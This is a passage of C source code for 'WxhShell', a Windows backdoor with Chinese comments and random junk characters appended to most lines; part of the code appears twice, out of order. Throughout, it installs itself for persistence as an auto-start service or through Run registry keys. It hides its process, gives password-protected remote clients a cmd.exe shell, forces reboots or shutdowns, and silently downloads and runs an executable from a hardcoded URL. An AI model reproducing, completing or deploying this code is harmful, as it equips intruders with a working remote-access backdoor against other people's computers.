    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  `-JVz{z  
    else { UfIr"bU6  
    closesocket(wsh); - ~4na{6x  
    ExitThread(0); $;&l{=e2)  
    } D|amKW7  
    break; z9!OzGtIR  
    } .C.b5x!  
  // 获取shell _K&Hiz/'  
  case 's': { XG!6[o;  
    CmdShell(wsh); ]j!pK4  
    closesocket(wsh); mMvAA;  
    ExitThread(0); %LM6=nt  
    break; L?Ys(a"k  
  } ~MP |L?my  
  // 退出 ;%Px~g  
  case 'x': { NG`Y{QT6N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =XtQ\$Pax  
    CloseIt(wsh); ^i r)z@P?V  
    break; O c.fvP^ZD  
    } N~0ih T G5  
  // 离开 R58NTPm  
  case 'q': { %ZcS"/gf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -k@1# c+z  
    closesocket(wsh); f[ 2PAz  
    WSACleanup(); vvG"rU  
    exit(1); %|%eGidu  
    break; 0@[*~H0{n  
        } fC 3T\@(&  
  } `x=$n5= 8  
  }  !^8X71W|  
fs:yx'mxV  
  // 提示信息 ?pcbso  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hs5>Gx  
} j0j!oj)7I  
  } %% /8B  
1Q!kk5jE  
  return; rB{w4  
} cly}[<w!  
7#W]Qj  
// shell模块句柄 ZyDNtX%  
int CmdShell(SOCKET sock) }n "5r(*^@  
{ SQhVdYU1'  
STARTUPINFO si; 7r50y>  
ZeroMemory(&si,sizeof(si)); {6WG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q 7 <d|s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OR*JWW[]  
PROCESS_INFORMATION ProcessInfo; 3HBh 3p5  
char cmdline[]="cmd"; +q;{ %3C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &AOGg\  
  return 0; :8]8[  
} }*U|^$FEU  
iE}] E  
// 自身启动模式 / Y od  
int StartFromService(void) 6VC|] |*  
{ a5R. \a<q  
typedef struct M PDRMGR@i  
{ h _{f_GQ"  
  DWORD ExitStatus; l S3LX  
  DWORD PebBaseAddress; L"/ ?[B":  
  DWORD AffinityMask; )bR0 >3/  
  DWORD BasePriority; IC5QH<.$C  
  ULONG UniqueProcessId; x.Egl4b3  
  ULONG InheritedFromUniqueProcessId; %)r:!R~R  
}   PROCESS_BASIC_INFORMATION; ;HH%OfQq  
g1|Py t{  
PROCNTQSIP NtQueryInformationProcess; t0jE\6r  
IG# wY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s9a`2Wm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <F(S_w62  
Ow*va\0  
  HANDLE             hProcess; !'~Ldl  
  PROCESS_BASIC_INFORMATION pbi; /8Y8-&K0  
RRPPojKZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "?F[]8F.b  
  if(NULL == hInst ) return 0; V8):!  
2J{vfF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )c&ya|h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6)ibXbH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /&Cq-W  
Sh1$AGm  
  if (!NtQueryInformationProcess) return 0; $ZGup"z)  
`kxC# &HO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l?2  
  if(!hProcess) return 0; i+qg*o$  
;4ybkOD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bL`\l!qQx;  
Exqz$'(W9  
  CloseHandle(hProcess); 7%EIn9P  
ZzNHEV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $kxP5q%9  
if(hProcess==NULL) return 0; Q-V8=.  
_AFje  
HMODULE hMod; = g &  
char procName[255]; t6\H  
unsigned long cbNeeded; %hN>o)  
P7b"(G%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vD9\i*\2  
>qB`0 3>  
  CloseHandle(hProcess); | n)4APX\Q  
F<4 :P=  
if(strstr(procName,"services")) return 1; // 以服务启动 yna!L@ *@,  
,hu@V\SKv  
  return 0; // 注册表启动 HZ%V>88  
} bR) P-9rs  
u&1M(~Ub=  
// 主模块 u9|Eos i  
int StartWxhshell(LPSTR lpCmdLine) ']eN4H&=?}  
{ 2F`#df  
  SOCKET wsl; yQUrHxm  
BOOL val=TRUE; jvsSP?]n  
  int port=0; Zs79,*o+0M  
  struct sockaddr_in door; L=qhb;  
3))CD,|  
  if(wscfg.ws_autoins) Install(); $(;Ts)P  
Ycm.qud ?  
port=atoi(lpCmdLine); zHz>Gc  
"hI"4xSg  
if(port<=0) port=wscfg.ws_port; K"XwSZ/  
T@.+bD  
  WSADATA data; G gA:;f46  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X!LiekU!D  
9ybR+dGm+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z(c SM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PdVx&BL*  
  door.sin_family = AF_INET; ?i0+h7 =6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DJgM>&Y6,  
  door.sin_port = htons(port); `Wjq$*  
rgCC3TX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /klo),|&  
closesocket(wsl); ~y"R{-%uS  
return 1; ?]Hs~n-  
} !{CIP`P1  
[[^r;XKQ  
  if(listen(wsl,2) == INVALID_SOCKET) { 0@b<?Ms9  
closesocket(wsl); zeQ~'ao<  
return 1; O0z-jZ,])  
} USN'-Ah  
  Wxhshell(wsl); M !"Q7>d  
  WSACleanup(); .wd7^wI^S  
;kZD>G8  
return 0; u`Nrg<  
";(m,i f-  
} qXq#A&  
K/C}  
// 以NT服务方式启动 :KvZP:T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uKXU.u*C  
{ V.u^;gr3  
DWORD   status = 0; vb0Ca+}}  
  DWORD   specificError = 0xfffffff; nRqP_*]  
rwUhNth-Qh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .O0eSp|e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j -o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KYB3n85 1  
  serviceStatus.dwWin32ExitCode     = 0; ,?j!c*  
  serviceStatus.dwServiceSpecificExitCode = 0; k7*-v/ *S  
  serviceStatus.dwCheckPoint       = 0; B^dMYFelJ  
  serviceStatus.dwWaitHint       = 0; xC _3&.  
N)E'k%?,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;WN% tI)  
  if (hServiceStatusHandle==0) return; 4IfkYM  
( zm!_~1  
status = GetLastError(); V4"o.G3\o  
  if (status!=NO_ERROR) st"@kHQ3  
{ OI)k0t^;D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~!TrC <ft  
    serviceStatus.dwCheckPoint       = 0; ._x"b5C  
    serviceStatus.dwWaitHint       = 0; : c iwh  
    serviceStatus.dwWin32ExitCode     = status; -M]/Xv]  
    serviceStatus.dwServiceSpecificExitCode = specificError; iWW!'u$+I`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }.|a0N 5  
    return; ZU B]qzmK  
  } ?UflK  
!$iwU3~<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z%.L d2Q{  
  serviceStatus.dwCheckPoint       = 0; x?{l<mc  
  serviceStatus.dwWaitHint       = 0; ?P7QAolrr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L67yL( d6a  
} H/x 9w[\+[  
QrmGrRH  
// 处理NT服务事件,比如:启动、停止 /P3Pv"r|8]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :k.>H.8+~  
{ JK^%V\m  
switch(fdwControl) U/U_q-z]  
{ olo9YrHn  
case SERVICE_CONTROL_STOP: /8_x]Es/  
  serviceStatus.dwWin32ExitCode = 0; A;C4>U Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O[1Q#  
  serviceStatus.dwCheckPoint   = 0; , 82?kky  
  serviceStatus.dwWaitHint     = 0; 2-g 5Gb2|  
  { i0x[w>\-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UeB St.  
  } 'SG<F,[3  
  return; w{;bvq%lY  
case SERVICE_CONTROL_PAUSE: fH ,h\0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PR7bu%Y*eD  
  break; =hh,yi  
case SERVICE_CONTROL_CONTINUE: @&G %cW(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bsc b  
  break; GZ:1bV37%  
case SERVICE_CONTROL_INTERROGATE: Vz,"vBds  
  break; pDr/8HEh  
}; kbz+6LcV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J{uqbrJICr  
} "el3mloR 8  
%kBrxf  
// 标准应用程序主函数 v%c--cO(S4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]a~gnz&1  
{ >]\oVG  
0R+<^6^l)  
// 获取操作系统版本 I%{D5.du  
OsIsNt=GetOsVer(); g ?% ]()E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bb/A}< zD  
m:;`mBOc3  
  // 从命令行安装 k lr1"q7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'OYnLz`"6  
, YE+k`:  
  // 下载执行文件 ^jo*e,y:  
if(wscfg.ws_downexe) { BXl Y V"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3XjY  
  WinExec(wscfg.ws_filenam,SW_HIDE); <m`Os2#  
} ap|V}j C  
c_ 1.  
if(!OsIsNt) { :(jovse\  
// 如果时win9x,隐藏进程并且设置为注册表启动 NTM.Vj -_h  
HideProc(); _B==S4^/yU  
StartWxhshell(lpCmdLine); [QT H~  
} UUgc>   
else ;2eZa|M*q  
  if(StartFromService()) PTA_erU  
  // 以服务方式启动 vN)l3  
  StartServiceCtrlDispatcher(DispatchTable); Kzfy0LWM  
else  #|l#  
  // 普通方式启动 -S $Y0FDV  
  StartWxhshell(lpCmdLine); )Oj%3  
pEGHW;  
return 0; @2A&eLw LH  
} +^aM(4K\  
j=b-Y  
0 s%{m<  
2 mvp|< "  
=========================================== _H2%6t/V  
9[\$\l  
%i9*2{e#~  
.TRp74  
\G]vTK3  
{ r8H5X  
" oJ}$ /_  
/u'M7R  
#include <stdio.h> dy0xz5N-  
#include <string.h> y"0! 7^  
#include <windows.h> q&k?$rn  
#include <winsock2.h> .sPa${  
#include <winsvc.h> Ba|76OBRJ  
#include <urlmon.h> $k3l[@;hE  
-f[95Z3}  
#pragma comment (lib, "Ws2_32.lib") M}F) P&Y  
#pragma comment (lib, "urlmon.lib") #>\8m+h 9  
I9r> 3?  
#define MAX_USER   100 // 最大客户端连接数 p8u -3  
#define BUF_SOCK   200 // sock buffer c f1GA  
#define KEY_BUFF   255 // 输入 buffer RT=(vq @  
L/J)OJe\  
#define REBOOT     0   // 重启 D~<0CQ3n.  
#define SHUTDOWN   1   // 关机 }%eXGdC  
8 =<&9TmE  
#define DEF_PORT   5000 // 监听端口 Y)v_O_`  
wd~!j&`a  
#define REG_LEN     16   // 注册表键长度 '^6x-aeq[D  
#define SVC_LEN     80   // NT服务名长度 #v4q:&yKf  
*e-+~/9~  
// 从dll定义API VbzW4J_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jyu*{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {[.<BU-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wS1zd?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a<`s'N1G  
k39;7J  
// wxhshell配置信息 &!FWo@  
struct WSCFG { s3l:ST  
  int ws_port;         // 监听端口 1{X ;&y  
  char ws_passstr[REG_LEN]; // 口令 mo3HUXf}8  
  int ws_autoins;       // 安装标记, 1=yes 0=no , 8F(R%v  
  char ws_regname[REG_LEN]; // 注册表键名  ZzuWN&  
  char ws_svcname[REG_LEN]; // 服务名 z@em1W0?Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d_}q.%*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2r&T.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;v1&Rs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no < ekLL{/O'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d>NM4n[h8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @5\ns-%  
|\~!o N  
}; U*6)/.J  
9AdA|/WV  
// default Wxhshell configuration g>O O '}lF  
struct WSCFG wscfg={DEF_PORT, PG/xX H  
    "xuhuanlingzhe", d$`NApr  
    1, u CNi&.  
    "Wxhshell", 5}t}Wc8  
    "Wxhshell", 9W <I~  
            "WxhShell Service", 7Z<ba^r}  
    "Wrsky Windows CmdShell Service", 6>Szxkz  
    "Please Input Your Password: ", >A;9Ee"&  
  1, /? j vv&  
  "http://www.wrsky.com/wxhshell.exe", Lk|%2XGO&  
  "Wxhshell.exe" AlRng& o~  
    }; IvyBK]{|  
`by\@xQ)  
// 消息定义模块 5b2_{6t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tk <R|i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zLiFk<G@Xi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7R=cxD&  
char *msg_ws_ext="\n\rExit."; -?$Hr\  
char *msg_ws_end="\n\rQuit."; z!GLug*j`  
char *msg_ws_boot="\n\rReboot..."; \L: ;~L/  
char *msg_ws_poff="\n\rShutdown..."; ?xuhN G@  
char *msg_ws_down="\n\rSave to "; J,k|_JO  
oopACE>  
char *msg_ws_err="\n\rErr!"; .UuCTH;6`  
char *msg_ws_ok="\n\rOK!"; u/BCl!`  
}vbs6u  
char ExeFile[MAX_PATH]; s" jxj  
int nUser = 0; o4"7i 9+g  
HANDLE handles[MAX_USER]; M1/Rba Q  
int OsIsNt; q-fxs8+m|  
t:G67^<3  
SERVICE_STATUS       serviceStatus; C"P40VQoo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,:QzF"MV  
Je#vl4<L  
// 函数声明 [l2ds:  
int Install(void); (hn@+hc  
int Uninstall(void); 6:(*u{  
int DownloadFile(char *sURL, SOCKET wsh); Iu`xe  
int Boot(int flag); iwl\&uNQU  
void HideProc(void); [y}0X^9,E  
int GetOsVer(void); ;r_YEPlZ  
int Wxhshell(SOCKET wsl); zMkjdjb  
void TalkWithClient(void *cs); <y}`PmIM I  
int CmdShell(SOCKET sock); Qf|=xV,F  
int StartFromService(void); /{';\?w  
int StartWxhshell(LPSTR lpCmdLine); c.u$NnDU6  
wYrb P11  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m|)Mc VV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -4&SYCw  
f"j"ZM{~U  
// 数据结构和表定义 :i&ZMH,O  
SERVICE_TABLE_ENTRY DispatchTable[] =  4_E{  
{ ^hhJ6E_W  
{wscfg.ws_svcname, NTServiceMain}, .'q0*Pe  
{NULL, NULL} 32r2<QrX  
}; >t,BNsWB  
+|N!(H  
// 自我安装 ,[lS)`G  
int Install(void) ,3t('SE  
{ 8()L}@y  
  char svExeFile[MAX_PATH]; hDp -,ag{  
  HKEY key; n\#RI9#\  
  strcpy(svExeFile,ExeFile); \/J7U|@Lt  
yE(>R(^  
// 如果是win9x系统,修改注册表设为自启动 a+TlZE>8  
if(!OsIsNt) { q89#Ftkt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ztNm,1pnQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `43`*=  
  RegCloseKey(key);  Sxrbhnx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4,!S?:7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G H N  
  RegCloseKey(key); meHAa`  
  return 0; ]E1aIt  
    } 0B^0,d(s  
  } CF`tNA3fxm  
} ik@g;>pQD  
else { ;hz"`{(JY  
<|_/i/H  
// 如果是NT以上系统,安装为系统服务 L {6y]t7^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z:hY{/-  
if (schSCManager!=0) ZqHh$QBD 9  
{ 'J (4arN  
  SC_HANDLE schService = CreateService jJc?/1jv  
  ( HG2i^y  
  schSCManager, *<yKT$(+_  
  wscfg.ws_svcname, mX)UoiXue  
  wscfg.ws_svcdisp, Vu DSjh  
  SERVICE_ALL_ACCESS, Kf<-PA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X&1R6 O  
  SERVICE_AUTO_START, -'FzH?q:  
  SERVICE_ERROR_NORMAL, .u3!%{/v(c  
  svExeFile, Ds4n>V,o  
  NULL, #:{Bd8PS  
  NULL, O Xy>Tlv  
  NULL, S{7*uK3$  
  NULL, 4#$~gTc@  
  NULL qm-G=EX  
  ); hKq#i8py  
  if (schService!=0) NGD?.^ (G  
  { B{wx"mK  
  CloseServiceHandle(schService); Iz/o|o]#  
  CloseServiceHandle(schSCManager); 8}3dwr;-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P;D)5yP092  
  strcat(svExeFile,wscfg.ws_svcname); X'4g\)*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { / c1=`OJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fi+v:L|  
  RegCloseKey(key); zPp?D_t  
  return 0; *]Nd I  
    } 7]t$t3I`  
  } q<L>r?T[  
  CloseServiceHandle(schSCManager); Ht UFl  
} b[<zT[.:  
} DGl_SMJb  
TSHsEcfO  
return 1; cD&53FPXC  
} B w1ir  
Om%{fq&  
// 自我卸载 eHCLENLmB  
int Uninstall(void) jTbJL  
{ _RT3Fk  
  HKEY key; *ip2|2G$  
8=rD'*  
if(!OsIsNt) { e_Na_l]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EQDs bG0x  
  RegDeleteValue(key,wscfg.ws_regname); A)/ 8FYc  
  RegCloseKey(key); X\tE#c&K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v\>!J?  
  RegDeleteValue(key,wscfg.ws_regname); tG(#&54  
  RegCloseKey(key); byl#8=?  
  return 0; =B9Ama   
  } `+_UG^aeW  
} -lr)z=})  
} eMk?#&a)  
else { D9 ~jMcX  
rPVz !(;k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;Wa4d`K  
if (schSCManager!=0) aZt5/|B  
{ VG*Tdaua~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C~PrIM?  
  if (schService!=0) lf4V; |!^  
  { 4,CQJ  
  if(DeleteService(schService)!=0) { RG [*:ReB9  
  CloseServiceHandle(schService); \ct)/  
  CloseServiceHandle(schSCManager); @= f2\hU  
  return 0; i3~"qbU%z[  
  } [5 Mt,skC:  
  CloseServiceHandle(schService); HS3] 8nJW  
  } T `x:80  
  CloseServiceHandle(schSCManager); Tw BwqQ)t  
} b/IT8Cm3  
} E/mp.f2!  
QR<z%4  
return 1; |QwX  
} \M~M  
Wk$ 7<gkr  
// 从指定url下载文件 !Z978Aub3&  
int DownloadFile(char *sURL, SOCKET wsh) vzl+0"  
{ tu}AJ  
  HRESULT hr; uMl.}t2uYu  
char seps[]= "/";  gBQK  
char *token; =e'b*KTL,  
char *file; GxWA=Xp^~G  
char myURL[MAX_PATH]; =h,6/cs  
char myFILE[MAX_PATH]; [03$*BCq3  
".jY3<bQg  
strcpy(myURL,sURL); r`5[6)+P  
  token=strtok(myURL,seps); h|h-<G?>  
  while(token!=NULL) [)V&$~xW  
  { qdoJIP{  
    file=token; d;` bX+K  
  token=strtok(NULL,seps); iM;7V*u  
  } WZq0$:I;R  
IXYSZ)z  
GetCurrentDirectory(MAX_PATH,myFILE); Fm(~Vt;%u  
strcat(myFILE, "\\"); |=H*" (  
strcat(myFILE, file); cI)T@Zg_o+  
  send(wsh,myFILE,strlen(myFILE),0); ?0_Bs4O\  
send(wsh,"...",3,0); <}S1ZEZcQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B{'x2I#,  
  if(hr==S_OK) 5y07@x  
return 0; YEF|SEon0  
else _:ypPR J  
return 1; >[TB8  
("(:wYR%  
} >%jQw.  
~B0L7}d  
// 系统电源模块 iXN"M` nhm  
int Boot(int flag) Lc ,te1  
{ 44T>Yp09  
  HANDLE hToken; F3*]3,&L  
  TOKEN_PRIVILEGES tkp; \ FW{&X9a  
0{bGVLp  
  if(OsIsNt) { ssVO+ T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qhlgu!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t5dk}sRF  
    tkp.PrivilegeCount = 1; MQc|j'vEY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fpbb <Ro  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '"C$E922  
if(flag==REBOOT) { 2Qg.b- C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vy-N3L  
  return 0; '^f,H1oW  
} LX{[9   
else { a1]@&D r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bw2-4K\"kc  
  return 0; D<9FSxl6  
} dKyJ.p   
  } MONfA;64/  
  else { 4%wP}Zj#  
if(flag==REBOOT) { b e[KNrO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~_C[~-  
  return 0; S#+Dfa`8X  
} t,#9i#q#  
else { e(7F| G*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $_s"16s  
  return 0; L{fKZ  
} tRU+6D <w  
} _[|~(lDJl  
{KJ!rT  
return 1; 6 R}]RuFQ  
} JSXudz5 c  
,f0|eu>  
// win9x进程隐藏模块 nG<_&h  
void HideProc(void) "&;>l<V  
{ BS<5b*wG  
\6A-eWIQif  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); + v.I|c  
  if ( hKernel != NULL ) DiMkcK_e  
  { aw9/bp*N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yRt]i>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K=x>%6W7b  
    FreeLibrary(hKernel); Y;3DU1MG0  
  } l);M(<  
gMe)\5`\Y  
return; {E *dDv  
} $$7Mq*a>  
p!5oz2RK  
// 获取操作系统版本 1eue.iuQ  
int GetOsVer(void) r\J"|{)e  
{ rEwEdyK  
  OSVERSIONINFO winfo; 5S4kn.3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O>]I!n`!!A  
  GetVersionEx(&winfo); ETk4I "  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?+-uF }  
  return 1; nNNs3h(Ss  
  else < GoUth.#  
  return 0; 5Vo8z8]t`  
} 8,\toT7  
k}T#-Gb  
// 客户端句柄模块 1} 1.5[4d  
int Wxhshell(SOCKET wsl) :o$k(X7a  
{ ,B|~V 3)(  
  SOCKET wsh; 7x8/Vz@\  
  struct sockaddr_in client; oujg( ^E  
  DWORD myID; Cf@~W)K  
Le#>uWM  
  while(nUser<MAX_USER) ,CiN@T \&  
{ m$^Wyk}  
  int nSize=sizeof(client); ?wzE+p-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~,[<R  
  if(wsh==INVALID_SOCKET) return 1; ``*iK  
r;}%} /IX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LIfQh  
if(handles[nUser]==0) Ne7HPSWiOP  
  closesocket(wsh); =7{n 2  
else }7p`8?  
  nUser++; v x qsK  
  } eXo7_#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d{^9` J'  
UIS\t^pJD  
  return 0; fFu+P<?"  
} w1q-bIU  
%M"rc4Xd  
// 关闭 socket V$U#'G>m  
void CloseIt(SOCKET wsh) om6'%nXhn  
{ A")F7F31c  
closesocket(wsh); t[HfaW1W  
nUser--; jK`b6:#(,  
ExitThread(0); Z$qLY<aV  
} xUT]6T0dB  
o+{]&V->gN  
// 客户端请求句柄 a<%Ivqni  
void TalkWithClient(void *cs) X@l>mAk  
{ `[) awP  
a2J01B  
  SOCKET wsh=(SOCKET)cs; 3>60_:+Zb  
  char pwd[SVC_LEN]; ZDHm@,d  
  char cmd[KEY_BUFF]; NP }b   
char chr[1]; $tKz|H)  
int i,j; YN.[KQ(!  
}>`rf{T  
  while (nUser < MAX_USER) { vjNP  
jz CA2N%  
if(wscfg.ws_passstr) { AQAZ+g(IK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #0OW0:Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XMt)\r.  
  //ZeroMemory(pwd,KEY_BUFF); zfS0M  
      i=0; N]yh8"7X  
  while(i<SVC_LEN) { 44e:K5;]7  
&y\7pAT\  
  // 设置超时 dM n0nc+  
  fd_set FdRead; 9j'(T:Zs  
  struct timeval TimeOut; !vd(WKq  
  FD_ZERO(&FdRead); b+b].,  
  FD_SET(wsh,&FdRead); #8xP,2&zf  
  TimeOut.tv_sec=8; pBo=omQV  
  TimeOut.tv_usec=0; -^C^3pms  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >;wh0dBe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *@;Pns]L-  
l Vb{bO9-O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {tE9m@[AF  
  pwd=chr[0]; CKB~&>xx  
  if(chr[0]==0xd || chr[0]==0xa) { &E& _Z6#  
  pwd=0; _]oNbcbt(  
  break; r.WQ6h/eZ5  
  } = Ob-'Syg>  
  i++; pNt,RRoR  
    } "rHcsuSEw  
5?] Dn k.o  
  // 如果是非法用户,关闭 socket =Oyn<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "pRi1Y5)l  
} !>E$2}Q|]  
tfz"9PV80  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mz-sazgV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _!qi`A  
:v$][jZ2  
while(1) { $"e$#<g  
5t=7-  
  ZeroMemory(cmd,KEY_BUFF); msf%i!  
t%S2D  
      // 自动支持客户端 telnet标准   Ms>CO7Nvy  
  j=0; 3UR'*5|'  
  while(j<KEY_BUFF) { Bp:PAy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q8m[ S4Q]g  
  cmd[j]=chr[0]; ]LbFh5;s  
  if(chr[0]==0xa || chr[0]==0xd) { zG^|W8um_  
  cmd[j]=0; ~<.%sVwE  
  break; }0okyGg>q  
  } lf`" (:./  
  j++; ^*g= 65!1  
    } @ zs.M-F  
IjaFNZZC!  
  // 下载文件 |BA&ixHe~C  
  if(strstr(cmd,"http://")) { NCX`-SLv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zb&5)&'X  
  if(DownloadFile(cmd,wsh)) i>j(Dsv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `f)X!S2l  
  else c^F@9{I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [8 I*lsS  
  } WALK@0E  
  else { '&LH9r  
}5b,u6  
    switch(cmd[0]) { u2o196,Ut  
  SJ7-lben3  
  // 帮助 +,q#'wSQG  
  case '?': { RKb{QAK!v  
